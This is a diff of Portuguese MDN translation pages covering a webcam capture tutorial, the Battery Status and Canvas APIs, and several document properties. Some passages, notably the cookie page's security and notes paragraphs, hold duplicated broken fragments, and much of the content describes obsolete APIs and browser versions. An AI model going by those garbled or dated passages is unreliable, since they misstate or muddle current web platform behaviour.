Indicates whether or not there is currently an active stream of video running.
-
vídeo
-
This will be a reference to the {{HTMLElement("video")}} element after the page is done loading.
-
canvas
-
This will be a reference to the {{HTMLElement("canvas")}} element after the page is done loading.
-
foto
-
This will be a reference to the {{HTMLElement("img")}} element after the page is done loading.
-
startbutton
-
This will be a reference to the {{HTMLElement("button")}} element that's used to trigger capture. We'll get that after the page is done loading.
-
- -

The startup() function

- -

The startup() function is run when the page has finished loading, courtesy of {{domxref("window.addEventListener()")}}. This function's job is to request access to the user's webcam, initialize the output {{HTMLElement("img")}} to a default state, and to establish the event listeners needed to receive each frame of video from the camera and react when the button is clicked to capture an image.

- -

Getting element references

- -

First, we grab references to the major elements we need to be able to access.

- -
  function startup() {
-    video = document.getElementById('video');
-    canvas = document.getElementById('canvas');
-    photo = document.getElementById('photo');
-    startbutton = document.getElementById('startbutton');
- -

Get the media stream

- -

The next task is to get the media stream:

- -
    navigator.mediaDevices.getUserMedia({ video: true, audio: false })
-    .then(function(stream) {
-        video.srcObject = stream;
-        video.play();
-    })
-    .catch(function(err) {
-        console.log("An error occured! " + err);
-    });
-
- -

Here, we're calling {{domxref("MediaDevices.getUserMedia()")}} and requesting a video stream (without audio). It returns a promise which we attach success and failure callbacks to.

- -

The success callback receives a stream object as input. It the {{HTMLElement("video")}} element's source to our new stream.

- -

Once the stream is linked to the <video> element, we start it playing by calling HTMLMediaElement.play().

- -

The error callback is called if opening the stream doesn't work. This will happen for example if there's no compatible camera connected, or the user denied access.

- -

Listen for the video to start playing

- -

After calling HTMLMediaElement.play() on the {{HTMLElement("video")}}, there's a (hopefully brief) period of time that elapses before the stream of video begins to flow. To avoid blocking until that happens, we add an event listener to video, canplay, which is delivered when the video playback actually begins. At that point, all the properties in the video object have been configured based on the stream's format.

- -
    video.addEventListener('canplay', function(ev){
-      if (!streaming) {
-        height = video.videoHeight / (video.videoWidth/width);
-
-        video.setAttribute('width', width);
-        video.setAttribute('height', height);
-        canvas.setAttribute('width', width);
-        canvas.setAttribute('height', height);
-        streaming = true;
-      }
-    }, false);
- -

This callback does nothing unless it's the first time it's been called; this is tested by looking at the value of our streaming variable, which is false the first time this method is run.

- -

If this is indeed the first run, we set the video's height based on the size difference between the video's actual size, video.videoWidth, and the width at which we're going to render it, width.

- -

Finally, the width and height of both the video and the canvas are set to match each other by calling {{domxref("Element.setAttribute()")}} on each of the two properties on each element, and setting widths and heights as appropriate. Finally, we set the streaming variable to true to prevent us from inadvertently running this setup code again.

- -

Handle clicks on the button

- -

To capture a still photo each time the user clicks the startbutton, we need to add an event listener to the button, to be called when the click event is issued:

- -
    startbutton.addEventListener('click', function(ev){
-      takepicture();
-      ev.preventDefault();
-    }, false);
- -

This method is simple enough: it just calls our takepicture() function, defined below in the section {{anch("Capturing a frame from the stream")}}, then calls {{domxref("Event.preventDefault()")}} on the received event to prevent the click from being handled more than once.

- -

Wrapping up the startup() method

- -

There are only two more lines of code in the startup() method:

- -
    clearphoto();
-  }
- -

This is where we call the clearphoto() method we'll describe below in the section {{anch("Clearing the photo box")}}.

- -

Clearing the photo box

- -

Clearing the photo box involves creating an image, then converting it into a format usable by the {{HTMLElement("img")}} element that displays the most recently captured frame. That code looks like this:

- -
  function clearphoto() {
-    var context = canvas.getContext('2d');
-    context.fillStyle = "#AAA";
-    context.fillRect(0, 0, canvas.width, canvas.height);
-
-    var data = canvas.toDataURL('image/png');
-    photo.setAttribute('src', data);
-  }
- -

We start by getting a reference to the hidden {{HTMLElement("canvas")}} element that we use for offscreen rendering.  Next we set the fillStyle to #AAA (a fairly light grey), and fill the entire canvas with that color by calling {{domxref("CanvasRenderingContext2D.fillRect()","fillRect()")}}.

- -

Last in this function, we convert the canvas into a PNG image and call {{domxref("Element.setAttribute", "photo.setAttribute()")}} to make our captured still box display the image.

- -

Capturing a frame from the stream

- -

There's one last function to define, and it's the point to the entire exercise: the takepicture() function, whose job it is to capture the currently displayed video frame, convert it into a PNG file, and display it in the captured frame box. The code looks like this:

- -
  function takepicture() {
-    var context = canvas.getContext('2d');
-    if (width && height) {
-      canvas.width = width;
-      canvas.height = height;
-      context.drawImage(video, 0, 0, width, height);
-
-      var data = canvas.toDataURL('image/png');
-      photo.setAttribute('src', data);
-    } else {
-      clearphoto();
-    }
-  }
- -

As is the case any time we need to work with the contents of a canvas, we start by getting the {{domxref("CanvasRenderingContext2D","2D drawing context")}} for the hidden canvas.

- -

Then, if the width and height are both non-zero (meaning that there's at least potentially valid image data), we set the width and height of the canvas to match that of the captured frame, then call {{domxref("CanvasRenderingContext2D.drawImage()", "drawImage()")}} to draw the current frame of the video into the context, filling the entire canvas with the frame image.

- -
-

Note: This takes advantage of the fact that the {{domxref("HTMLVideoElement")}} interface looks like a {{domxref("HTMLImageElement")}} to any API that accepts an HTMLImageElement as a parameter, with the video's current frame presented as the image's contents.

-
- -

Once the canvas contains the captured image, we convert it to PNG format by calling {{domxref("HTMLCanvasElement.toDataURL()")}} on it; finally, we call {{domxref("Element.setAttribute", "photo.setAttribute()")}} to make our captured still box display the image.

- -

If there isn't a valid image available (that is, the width and height are both 0), we clear the contents of the captured frame box by calling clearphoto().

- -

Fun with filters

- -

Since we're capturing images from the user's webcam by grabbing frames from a {{HTMLElement("video")}} element, we can very easily apply filters and fun effects to the video. As it turns out, any CSS filters you apply to the element using the {{cssxref("filter")}} property affect the captured photo. These filters can range from the simple (making the image black and white)  to the extreme (gaussian blurs and hue rotation).

- -

You can play with this effect using, for example, the Firefox developer tools' style editor; see Edit CSS filters for details on how to do so.

- -

Consultar também

- - diff --git a/files/pt-pt/web/api/battery_status_api/index.html b/files/pt-pt/web/api/battery_status_api/index.html new file mode 100644 index 0000000000..4805a71bc6 --- /dev/null +++ b/files/pt-pt/web/api/battery_status_api/index.html @@ -0,0 +1,169 @@ +--- +title: API do Estado da Bateria +slug: Web/API/API_do_Estado_da_Bateria +tags: + - API + - API de Bateria + - API do Estado da Bateria + - Aplicações + - Apps + - Firefox OS + - Guía + - Movel + - Resumo + - Sinopse +translation_of: Web/API/Battery_Status_API +--- +
{{obsolete_header}}
+ +
{{DefaultAPISidebar("Battery API")}}
+ +

A API do Estado da Bateria, mais conhecida como API de Bateria, fornece informação sobre o nível de carga da bateria do sistema e permite-lhe que seja notificado por eventos que são enviados quando o nível da bateria ou o estado de carregamento é alterado. Isto pode ser utilizado para ajustar a utilização de recursos da aplicação para reduzir o consumo de bateria quando a bateria estiver fraca ou para guardar as alterações antes que a bateria acabe para evitar a perda de dados.

+ +

The Battery Status API extends {{domxref("window.navigator")}} with a {{domxref("navigator.getBattery()")}} method returning a battery promise, which is resolved in a {{domxref("BatteryManager")}} object providing also some new events you can handle to monitor the battery status.

+ +

Exemplo

+ +

In this example, we watch for changes both to the charging status (whether or not we're plugged in and charging) and for changes to the battery level and timing. This is done by listening for the {{event("chargingchange")}}, {{event("levelchange")}}, {{event("chargingtimechange")}}, {{event("dischargingtimechange")}} events.

+ +
navigator.getBattery().then(function(battery) {
+  function updateAllBatteryInfo(){
+    updateChargeInfo();
+    updateLevelInfo();
+    updateChargingInfo();
+    updateDischargingInfo();
+  }
+  updateAllBatteryInfo();
+
+  battery.addEventListener('chargingchange', function(){
+    updateChargeInfo();
+  });
+  function updateChargeInfo(){
+    console.log("Battery charging? "
+                + (battery.charging ? "Yes" : "No"));
+  }
+
+  battery.addEventListener('levelchange', function(){
+    updateLevelInfo();
+  });
+  function updateLevelInfo(){
+    console.log("Battery level: "
+                + battery.level * 100 + "%");
+  }
+
+  battery.addEventListener('chargingtimechange', function(){
+    updateChargingInfo();
+  });
+  function updateChargingInfo(){
+    console.log("Battery charging time: "
+                 + battery.chargingTime + " seconds");
+  }
+
+  battery.addEventListener('dischargingtimechange', function(){
+    updateDischargingInfo();
+  });
+  function updateDischargingInfo(){
+    console.log("Battery discharging time: "
+                 + battery.dischargingTime + " seconds");
+  }
+
+});
+
+ +

See also the example in the specification.

+ +

Especificações

+ + + + + + + + + + + + + + + + +
EspecificaçãoEstadoComentário
{{SpecName("Battery API")}}{{Spec2("Battery API")}}Initial definition
+ +

Compatibilidade do navegador

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatChrome(39.0)}}{{CompatGeckoDesktop("10")}} {{property_prefix("moz")}}
+ {{CompatGeckoDesktop("16")}}[1]
+ {{CompatGeckoDesktop("43")}}[3]
+ {{CompatGeckoDesktop("52")}}[4]
{{CompatNo}}25{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)IE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatNo}}{{CompatChrome(40.0)}} +

{{CompatGeckoMobile("10")}} {{property_prefix("moz")}}
+ {{CompatGeckoMobile("16")}}[1]
+ {{CompatGeckoMobile("43")}}[3]
+ {{CompatGeckoMobile("52")}}[3]

+
{{CompatNo}}25[2]{{CompatNo}}{{CompatChrome(42.0)}}[2]
+
+ +

[1] Disabled by default in Firefox 10.0, but can be enabled setting the preference dom.battery.enabled to true. Starting with Firefox 11.0, mozBattery is enabled by default. The Battery API is currently supported on Android, Windows, and Linux with UPower installed. Support for MacOS is available starting with Gecko 18.0 {{geckoRelease("18.0")}}. Firefox also provides support for the deprecated {{domxref("navigator.battery")}}.

+ +

[2] Values for {{domxref("BatteryManager.chargingTime")}} and {{domxref("BatteryManager.dischargingTime")}} are always equal to Infinity.

+ +

[3] The new promise-based syntax for {{domxref("Navigator.getBattery()")}} is supported from Firefox 43 onwards.

+ +

[4] From Firefox 52 onwards, the Battery Status API is only available in chrome/privileged code.

+ +

Consultar também

+ + diff --git a/files/pt-pt/web/api/canvas_api/index.html b/files/pt-pt/web/api/canvas_api/index.html new file mode 100644 index 0000000000..17971de4ee --- /dev/null +++ b/files/pt-pt/web/api/canvas_api/index.html @@ -0,0 +1,247 @@ +--- +title: API de Canvas +slug: Web/API/API_de_canvas +translation_of: Web/API/Canvas_API +--- +
{{CanvasSidebar}}
+ +

Added in HTML5, the HTML {{HTMLElement("canvas")}} element can be used to draw graphics via scripting in JavaScript. For example, it can be used to draw graphs, make photo compositions, create animations, or even do real-time video processing or rendering.

+ +

Mozilla applications gained support for <canvas> starting with Gecko 1.8 (i.e. Firefox 1.5). The element was originally introduced by Apple for the OS X Dashboard and Safari. Internet Explorer supports <canvas> from version 9 onwards; for earlier versions of IE, a page can effectively add support for <canvas> by including a script from Google's Explorer Canvas project. Google Chrome and Opera 9 also support <canvas>.

+ +

The <canvas> element is also used by WebGL to draw hardware-accelerated 3D graphics on web pages.

+ +

Exemplo

+ +

This is just a simple code snippet which uses the {{domxref("CanvasRenderingContext2D.fillRect()")}} method.

+ +

HTML

+ +
<canvas id="canvas"></canvas>
+
+ +

JavaScript

+ +
var canvas = document.getElementById('canvas');
+var ctx = canvas.getContext('2d');
+
+ctx.fillStyle = 'green';
+ctx.fillRect(10, 10, 100, 100);
+
+ +

Edit the code below and see your changes update live in the canvas:

+ + + +

{{ EmbedLiveSample('Playable_code', 700, 360) }}

+ +

Referência

+ +
+ +
+ +

The interfaces related to the WebGLRenderingContext are referenced under WebGL.

+ +

{{domxref("CanvasCaptureMediaStream")}} is related.

+ +

Guias e tutoriais

+ +
+
Canvas tutorial
+
A comprehensive tutorial covering both the basic usage of <canvas> and its advanced features.
+
Code snippets: Canvas
+
Some extension developer-oriented code snippets involving <canvas>.
+
Demo: A basic ray-caster
+
A demo of ray-tracing animation using canvas.
+
Drawing DOM objects into a canvas
+
How to draw DOM content, such as HTML elements, into a canvas.
+
Manipulating video using canvas
+
Combining {{HTMLElement("video")}} and {{HTMLElement("canvas")}} to manipulate video data in real time.
+
+ +

Recursos

+ +

Genérico

+ + + +

Bibliotecas

+ + + +

Especificações

+ + + + + + + + + + + + + + + + +
EpecificaçãoEstadoComentário
{{SpecName('HTML WHATWG', 'scripting.html#the-canvas-element', '<canvas>')}}{{Spec2('HTML WHATWG')}} 
+ +

Consulte também

+ + + +
+ + + + + +
diff --git a/files/pt-pt/web/api/canvas_api/tutorial/index.html b/files/pt-pt/web/api/canvas_api/tutorial/index.html new file mode 100644 index 0000000000..b93457336d --- /dev/null +++ b/files/pt-pt/web/api/canvas_api/tutorial/index.html @@ -0,0 +1,60 @@ +--- +title: Tutorial de Canvas +slug: Web/API/API_de_canvas/Tutorial +tags: + - Canvas + - Guía + - HTML + - HTML5 + - Intermediário + - Web + - graficos +translation_of: Web/API/Canvas_API/Tutorial +--- +
{{CanvasSidebar}}
+ +
+ +
+

<canvas> is an HTML element which can be used to draw graphics via scripting (usually JavaScript). This can, for instance, be used to draw graphs, make photo composition or simple (and not so simple) animations. The images on this page show examples of <canvas> implementations which will be created in this tutorial.

+
+ +

This tutorial describes how to use the <canvas> element to draw 2D graphics, starting with the basics. The examples provided should give you some clear ideas what you can do with canvas and will provide code snippets that may get you started in building your own content.

+ +

First introduced in WebKit by Apple for the OS X Dashboard, <canvas> has since been implemented in browsers. Today, all major browsers support it.

+ +

Antes de começar

+ +

Using the <canvas> element is not very difficult, but you do need a basic understanding of HTML and JavaScript. The <canvas> element is not supported in some older browsers, but is supported in recent versions of all major browsers. The default size of the canvas is 300 px × 150 px (width × height). But custom sizes can be defined using the HTML height and width property. In order to draw graphics on the canvas we use a JavaScript context object, which creates graphics on the fly.

+ +

Neste tutorial

+ + + +

Consulte também:

+ + + +

Uma nota para os colaboradores

+ +

Due to an unfortunate technical error that occurred the week of June 17, 2013, we lost the history of this tutorial, including attributions to all past contributors to its content. We apologize for this, and hope you'll forgive this unfortunate mishap.

+ +
{{ Next("Web/API/Canvas_API/Tutorial/Basic_usage") }}
diff --git a/files/pt-pt/web/api/document.dir/index.html b/files/pt-pt/web/api/document.dir/index.html deleted file mode 100644 index 9d82a6b4ab..0000000000 --- a/files/pt-pt/web/api/document.dir/index.html +++ /dev/null @@ -1,71 +0,0 @@ ---- -title: Document.dir -slug: Web/API/Document.dir -tags: - - API - - DOM - - HTML - - dir - - ltr - - rtl -translation_of: Web/API/Document/dir ---- -

{{Apiref("Document")}}{{non-standard_header}}

-

A propriedade Document.dir é uma {{domxref("DOMString")}} que representa a direccionalidade do texto do documento, quer seja da esquerda para a direita (por omissão) ou da direita para a esquerda. Os valores possíveis são 'rtl', da direita para a esquerda e 'ltr', da esquerda para a direita.

-

Síntaxe

-
dirStr = document.dir;
-document.dir = dirStr;
-
-

Especificações

-

Este atributo, apesar de implementado por diversos browsers não faz parte de nenhuma especificação.

-

Compatibilidade por browser

-

{{ CompatibilityTable() }}

-
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Suporte básico{{CompatUnknown}}{{CompatVersionUnknown}} [1]{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatUnknown}}
-
-
- - - - - - - - - - - - - - - - - - - -
FeatureAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Suporte básico{{ CompatUnknown() }}{{CompatVersionUnknown}} [1]{{ CompatVersionUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
-
-

[1] Antes do Firefox 23, a propriedade document.dir retornava "ltr" independentemente do valor atribuido a dir na raiz do elemento {{htmlelement("html")}}. Caso a direcção fosse definida no nó <html>, document.dir não teria qualquer efeito em alterá-la visivelmente (apesar disto, a obtenção da propriedade document.dir iria indicar que a direcção teria sido alterada). Contudo, se o atributo dir estiver definido no elemento <html> e for alterado, quer a direccionalidade do documento quer a propriedade document.dir irão reflectir a mudança.

-

Ver também

- diff --git a/files/pt-pt/web/api/document/alinkcolor/index.html b/files/pt-pt/web/api/document/alinkcolor/index.html new file mode 100644 index 0000000000..582760a339 --- /dev/null +++ b/files/pt-pt/web/api/document/alinkcolor/index.html @@ -0,0 +1,43 @@ +--- +title: document.alinkColor +slug: DOM/document.alinkColor +tags: + - DOM + - DOM 0 + - Gecko + - Referência_do_DOM_Gecko +translation_of: Web/API/Document/alinkColor +--- +
+
+

« Referência do DOM Gecko

+
+

Sumário

+

 

+
+

Obsoleto

+
+ Retorna ou define a cor de um link ativo no corpo do documento. Um link é ativo durante o tempo entre mousedown mouseup eventos. +

 

+
+
+

Sintaxe

+
document.alinkColor = cor
+
+

color é uma string contendo o nome da cor (em inglês), (por exemplo, "blue", "darkblue", etc) ou o valor em hexadecimal (por exemplo, #0000FF)

+
+
+

Notas 

+

O valor padrão para essa propriedade no Mozilla Firefox é o vermelho (#ee0000 em hexadecimal).

+

document.alinkColor é substituído no DOM Nível 2 HTML . Uma alternativa é o seletor CSS :active.

+

Outra alternativa é document.body.aLink, embora isso seja obsoleto em HTML 4.01, em favor da alternativa de CSS.

+

Gecko suporta tanto alinkColor / :active e :focus. Internet Explorer 6 e 7 suportam alinkColor / :active apenas para âncora HTML (<a>) links e o comportamento é o mesmo que :focus em Gecko. Não há suporte para :focus no IE.

+
+
+

Especificação

+

DOM Nível 0. Não faz parte do padrão.

+

MSDN - propriedade :alinkColor

+
+
+
+

 

diff --git a/files/pt-pt/web/api/document/bgcolor/index.html b/files/pt-pt/web/api/document/bgcolor/index.html new file mode 100644 index 0000000000..5cb60b2712 --- /dev/null +++ b/files/pt-pt/web/api/document/bgcolor/index.html @@ -0,0 +1,55 @@ +--- +title: document.bgColor +slug: DOM/document.bgColor +tags: + - DOM + - DOM 0 + - Gecko + - Referência_do_DOM_Gecko +translation_of: Web/API/Document/bgColor +--- +
+
+

« Referência do DOM Gecko

+
+

Sumário

+

 

+
+

Obsoleto

+
+ bgColor obtém / define a cor de fundo do documento atual. +

 

+
+
+

Sintaxe

+
document.bgColor = cor
+
+
+
+

Parâmetros

+
    +
  • color é uma seqüência que representa a cor como uma palavra (em inglês) (por exemplo, "red") ou valor em hexadecimal (por exemplo, "#Ff0000").
  • +
+
+
+

Exemplo

+
document.bgColor = "darkblue"; 
+
+
+
+

Notas

+

O valor padrão para essa propriedade no Mozilla Firefox é branco (#ffffff em hexadecimal).

+

document.bgColor é substituído no DOM Nível 2 HTML . A alternativa recomendada é o uso do estilo CSS background-color que pode ser acessada através do DOM com document.body.style.backgroundColor. Outra alternativa é document.body.bgColor, embora este também seja obsoleto em HTML 4.01 em favor da alternativa de CSS.

+

 

+
+
+

Especificação

+

DOM Nível 0. Não faz parte do padrão .

+

MSDN: Propriedade bgColor

+
+
+
+ +

 

diff --git a/files/pt-pt/web/api/document/cookie/index.html b/files/pt-pt/web/api/document/cookie/index.html new file mode 100644 index 0000000000..aa309f8a95 --- /dev/null +++ b/files/pt-pt/web/api/document/cookie/index.html @@ -0,0 +1,85 @@ +--- +title: document.cookie +slug: DOM/document.cookie +translation_of: Web/API/Document/cookie +--- +
+
+

« Referência do DOM Gecko

+ +
+

Sumário

+ +

Obter e definir os cookies associados com o documento atual.

+
+ +
+

Sintaxe

+ +
allCookies = document.cookie;
+ +
    +
  • allCookies é uma string contendo uma lista separada por vírgula de "cookies" (isto é, chave valor pares).
  • +
+ +
updatedCookie = document.cookie;
+ +
    +
  • +
    updatedCookie é uma string de forma chave valor. Observe que você só pode definir / atualizar um cookie de cada vez usando esse método.
    +
  • +
+ +
    +
  • Qualquer um dos seguintes valores de atributo cookie pode, opcionalmente, seguir o valor-chave par, especificando o cookie para definir / atualizar, e precedido por um ponto e vírgula : +
      +
    • ;path = caminho (Por exemplo, '/' , '/meuDiretorio' ). Se não for especificado, o padrão é o caminho atual do local do documento atual.
    • +
    • ;domain = domínio (por ex, 'exemplo1.com ', '.exemplo1.com', (inclui todos os subdomínios ), 'subdominio.exemplo1.com'). Se não for especificado, o padrão é a parte do host local do documento atual.
    • +
    • ;max-age = maxima-idade-em-segundos (Por exemplo, 60 * 60 * 24 * 365 para um ano)
    • +
    • ;expires = data-em-formato-GMTString (Poderia usar Date.toGMTString, agora obsoleto). Se não for especificado ele expira no final da sessão.
    • +
    • ;secure (cookie só podem ser transmitidos através do protocolo seguro como https)
    • +
    +
  • +
+ +
    +
  • A cadeia de valor do cookie pode usar encodeURIComponent() para garantir que a cadeia não contenha nenhuma vírgula, ponto-e-vírgula, ou espaços em branco (que não são permitidos nos valores de cookie).
  • +
+
+ +
+

Exemplo

+ +
+
    +
  1. document.cookie = "nome = Italo";
  2. +
  3. document.cookie = "comida_favorita = lasanha";
  4. +
  5. alert(document.cookie);
  6. +
  7. // Mostra: nome = Italo; comida_favorita = lasanha
  8. +
+
+
+ +
+

Segurança

+ +

É importante notar que o path não protege contra a leitura não autorizada do cookie de um caminho diferenteEle pode ser facilmente contornado com DOM simples (por exemplo, a criação de um elemento iframe oculto com o caminho do cookie, e depois aceder a este iframe contentDocument.cookiepropriedade). Ele pode ser facilmente (por exemplo, a criação de um elemento o caminho do cookie, e depois aceder a este A única maneira de proteger o acesso "cookie" é usando um domínio ou subdomínio diferente , devido à política de mesma origem.

+
+ +
+

Notas

+ +
Edit section
+ +

Começando com o Firefox 2, a melhor mecanismo para o lado de armazenamento do cliente está disponível - WHATWG DOM Storage com o Firefox 2, a para o lado de armazenamento do cliente está disponível.

+
+ +
+

Especificação

+ +

DOM Level 2: HTMLDocument.cookie

+
+
+
+ +

 

diff --git a/files/pt-pt/web/api/document/dir/index.html b/files/pt-pt/web/api/document/dir/index.html new file mode 100644 index 0000000000..9d82a6b4ab --- /dev/null +++ b/files/pt-pt/web/api/document/dir/index.html @@ -0,0 +1,71 @@ +--- +title: Document.dir +slug: Web/API/Document.dir +tags: + - API + - DOM + - HTML + - dir + - ltr + - rtl +translation_of: Web/API/Document/dir +--- +

{{Apiref("Document")}}{{non-standard_header}}

+

A propriedade Document.dir é uma {{domxref("DOMString")}} que representa a direccionalidade do texto do documento, quer seja da esquerda para a direita (por omissão) ou da direita para a esquerda. Os valores possíveis são 'rtl', da direita para a esquerda e 'ltr', da esquerda para a direita.

+

Síntaxe

+
dirStr = document.dir;
+document.dir = dirStr;
+
+

Especificações

+

Este atributo, apesar de implementado por diversos browsers não faz parte de nenhuma especificação.

+

Compatibilidade por browser

+

{{ CompatibilityTable() }}

+
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Suporte básico{{CompatUnknown}}{{CompatVersionUnknown}} [1]{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Suporte básico{{ CompatUnknown() }}{{CompatVersionUnknown}} [1]{{ CompatVersionUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
+

[1] Antes do Firefox 23, a propriedade document.dir retornava "ltr" independentemente do valor atribuido a dir na raiz do elemento {{htmlelement("html")}}. Caso a direcção fosse definida no nó <html>, document.dir não teria qualquer efeito em alterá-la visivelmente (apesar disto, a obtenção da propriedade document.dir iria indicar que a direcção teria sido alterada). Contudo, se o atributo dir estiver definido no elemento <html> e for alterado, quer a direccionalidade do documento quer a propriedade document.dir irão reflectir a mudança.

+

Ver também

+ diff --git a/files/pt-pt/web/api/document/getelementsbyclassname/index.html b/files/pt-pt/web/api/document/getelementsbyclassname/index.html new file mode 100644 index 0000000000..3ce79ed564 --- /dev/null +++ b/files/pt-pt/web/api/document/getelementsbyclassname/index.html @@ -0,0 +1,69 @@ +--- +title: document.getElementsByClassName +slug: DOM/document.getElementsByClassName +tags: + - Referência_do_DOM_Gecko +translation_of: Web/API/Document/getElementsByClassName +--- +

{{ Fx_minversion_header(3) }} {{ ApiRef() }}

+ +

Resumo

+ +

Retorna um conjunto de elementos com o nome de classe fornecido. Quando chamado no objeto document, todo o documento é pesquisado incluindo o nó raiz. Você pode chamar também getElementsByClassName em qualquer elemento; isso retornará apenas elementos sob o elemento raiz especificado com o nome de classe fornecido.

+ +

Sintaxe

+ +
elementos = document.getElementsByClassName(nome) // ou:elementos = elementoRaiz.getElementsByClassName(nome)
+
+ + + +

Exemplos

+ +

Devolve todos os elementos que têm a classe 'teste':

+ +
 document.getElementsByClassName('teste')
+
+ +

Devolve todos os elementos que têm as classes 'vermelho' e 'teste':

+ +
 document.getElementsByClassName('vermelho teste')
+
+ +

Devolve todos os elementos que têm a classe 'teste', dentro de um elemento que tem o ID 'principal':

+ +
 document.getElementById('principal').getElementsByClassName('teste')
+
+ +

E se formos adiante e adicionarmos extras do Array do JavaScript 1.6, podemos fazer algumas combinações realmente boas.

+ +

Encontre todos os elementos div que têm a classe 'teste'

+ +
 Array.filter( document.getElementsByClassName('teste'), function(elem){
+   return elem.nodeName == 'DIV';
+ });
+
+ +

Encontre todos os elementos que têm a classe 'teste' (como faz seu elemento pai)

+ +
 var teste = document.getElementsByClassName('teste');
+ Array.filter( teste, function(elem){
+   return Array.indexOf( teste, elem.parentNode ) > -1;
+ });
+
+ +

XXX escreva-me == Notas == Um método similar existe em <code>Element</code>

+ +

Especificação

+ +

WHATWG Web Applications 1.0: getElementsByClassName

+ +

Categorias

+ +

Interwiki Language Links

+ +

{{ languages( { "en": "en/DOM/document.getElementsByClassName", "fr": "fr/DOM/document.getElementsByClassName" } ) }}

diff --git a/files/pt-pt/web/api/document_object_model/index.html b/files/pt-pt/web/api/document_object_model/index.html new file mode 100644 index 0000000000..ea0cdc52f1 --- /dev/null +++ b/files/pt-pt/web/api/document_object_model/index.html @@ -0,0 +1,501 @@ +--- +title: Modelo de Objeto de Documento (DOM) +slug: DOM/DOM_Reference +tags: + - API + - DOM + - DOM Reference + - NeedsTranslation + - Referencia + - TopicStub +translation_of: Web/API/Document_Object_Model +--- +
{{DefaultAPISidebar("DOM")}}
+ +

Modelo de Objeto de Documento (DOM) interliga as páginas da Web para scripts ou linguagens de programação. Normalmente, isso significa que JavaScript, mas a modelagem de documentos HTML, SVG ou XML como objetos não é parte da linguagem de JavaScript. O modelo DOM representa um documento com uma árvore lógica. Cada ramo da árvore termina em um nodo, e cada nodo contém objetos. Os métodos DOM permitem o acesso programático à árvore; com eles, pode alterar a estrutura, o estilo ou o conteúdo do documento. Os nodos podem ter manipuladores de eventos anexados aos mesmos. Quando é acionado um evento, os manipuladores de eventos são executados .

+ +

Está disponível uma introdução ao DOM.

+ +

Interfaces DOM

+ +
+ +
+ +

Interfaces DOM obsoletas {{obsolete_inline}}

+ +

The Document Object Model has been highly simplified. To achieve this, the following interfaces present in the different DOM level 3 or earlier specification have been removed. It is still not very clear whether some may be reintroduced or not, but for the time being they have to be considered as obsolete and should be avoided:

+ +
+ +
+ +

Interfaces HTML

+ +

A document containing HTML is described using the {{domxref("HTMLDocument")}} interface. Note that the HTML specification also extends the {{domxref("Document")}} interface.

+ +

An HTMLDocument object also gives access to various features of browsers like the ta or the window, in which a page is drawn using the {{domxref("Window")}} interface, the {{domxref("window.style", "Style")}} associated to it (usually CSS), the history of the browser relative to the context, {{domxref("window.history", "History")}}. Eventually, {{domxref("Selection")}} is done on the document.

+ +

Interfaces de elemento HTML

+ +
+ +
+ +

Outras interfaces

+ +
+ +
+ +

Interfaces HTML obsoletas {{obsolete_inline}}

+ +
+ +
+ +

SGV - Interfaces

+ +

Interfaces de elemento SVG

+ +
+ +
+ +

Interfaces de tipo de dados SVG

+ +

Here are the DOM API for data types used in the definitions of SVG properties and attributes.

+ +
+

Nota: Starting in {{Gecko("5.0")}}, the following SVG-related DOM interfaces representing lists of objects are now indexable and can be accessed ; in addition, they have a length property indicating the number of items in the lists: {{domxref("SVGLengthList")}}, {{domxref("SVGNumberList")}}, {{domxref("SVGPathSegList")}}, and {{domxref("SVGPointList")}}.

+
+ +

Tipo estático

+ +
+ +
+ +

Tipo animado

+ +
+ +
+ +

Interfaces relacionadas com SMIL

+ +
+ +
+ +

Outras interfaces SVG

+ +
+ +
+ +

Consulte também

+ + + +
+ + + + + +
diff --git a/files/pt-pt/web/api/document_object_model/using_the_w3c_dom_level_1_core/index.html b/files/pt-pt/web/api/document_object_model/using_the_w3c_dom_level_1_core/index.html new file mode 100644 index 0000000000..ff80acdcf4 --- /dev/null +++ b/files/pt-pt/web/api/document_object_model/using_the_w3c_dom_level_1_core/index.html @@ -0,0 +1,79 @@ +--- +title: Utilizando o Núcleo DOM de Nível 1 do W3C +slug: Using_the_W3C_DOM_Level_1_Core +tags: + - DOM +translation_of: Web/API/Document_object_model/Using_the_W3C_DOM_Level_1_Core +--- +

O 'Núcleo DOM de Nível 1 do W3C' é um modelo de objetos poderoso para alterar o conteúdo de uma árvore de documentos. É suportado em todos os navegadores principais, incluindo o Mozilla Firefox e o Microsoft Internet Explorer. É uma base poderosa para scrips na Web.

+ +

 O que é uma árvore de conteúdos?

+ +

Muitos autores HTML pensam que o HTML é algo plano -- um punhado de texto com tags no meio. Entretanto, é muito mais do que somente isso. Qualquer documento HTML (ou do mesmo modo em qualquer documento SGML ou XML) é uma estrutura de árvore. Por exemplo, o seguinte documento e estrutura de árvore são similares (embora não sejam idênticos -- veja as notas em espaços em branco no DOM):

+ +
<html>
+<head>
+  <title>My Document</title>
+</head>
+<body>
+  <h1>Header</h1>
+  <p>Paragraph</p>
+</body>
+</html>
+
+ +

image:Using_the_W3C_DOM_Level_1_Core-doctree.jpg

+ +

Quando o Mozilla interpreta um documento, ele constrói uma árvore de conteúdos e então a utiliza para mostrar o documento.

+ +

Os termos utilizados para descrever árvores se aparecem frequentemente no Núcleo DOM Nível 1. Cada uma das caixas desenhadas na árvore acima é um nó na árvore. A linha acima de um nó expressa um relacionamento pai-filho: o nó ao topo é o pai, e o nó abaixo é o filho. Dois filhos do mesmo pai são, portanto, irmãos. Similarmente, pode-se referenciar ancestrais e descentes (Apesar de primos serem um tanto confusos).

